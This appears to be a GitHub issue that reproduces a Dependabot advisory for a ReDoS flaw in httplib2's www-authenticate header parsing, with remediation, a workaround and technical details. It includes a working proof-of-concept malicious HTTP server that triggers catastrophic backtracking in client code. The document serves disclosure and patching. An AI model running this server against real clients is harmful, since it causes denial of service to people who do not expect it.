Dependabot - httplib2 - survey-gen

[DerekRoberts]

Dependabot Security Alert for survey-gen. LIkely to be removed, since not in use.

https://github.com/bcgov/containerization-and-cloud-economic-model/security/dependabot/survey-gen/requirements.txt/httplib2/open

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httplib2
Open GitHub opened this alert 26 minutes ago
Generating an automated security update
started 24 minutes ago by dependabot
1 httplib2 vulnerability found in survey-gen/requirements.txt 26 minutes ago
Remediation
Upgrade httplib2 to version 0.19.0 or later. For example:

httplib2>=0.19.0
Always verify the validity and compatibility of suggestions with your codebase.

Details
GHSA-93xj-8mrv-444m
low severity
Vulnerable versions: < 0.19.0
Patched version: 0.19.0
Impact
A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

Patches
Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library.
httplib2/httplib2#182

Workarounds
import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True
Technical Details
The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

\s*[^ \t\r\n=]+\s*=
Since all three infinitely repeating groups accept the non-breaking space character \xa0, a long string of \xa0 causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of \xa0 makes processing take 8 times as long.

Reproduction Steps
Run a malicious server which responds with

www-authenticate: x \xa0\xa0\xa0\xa0x
but with many more \xa0 characters.

An example malicious python server is below:

from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
repeat = "\xa0" * n_spaces
return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(401)
self.send_response_only(401) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65512 # Max header line length 65536
)
value = make_header_value(n_spaces)
self.send_header("www-authenticate", value) # This header can actually be sent multiple times
self.end_headers()

if name == "main":
HTTPServer(("", 1337), Handler).serve_forever()
Connect to the server with httplib2:

import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")
To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000

References
Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.

For more information
If you have any questions or comments about this advisory:

Open an issue in httplib2
Email current maintainer at 2021-01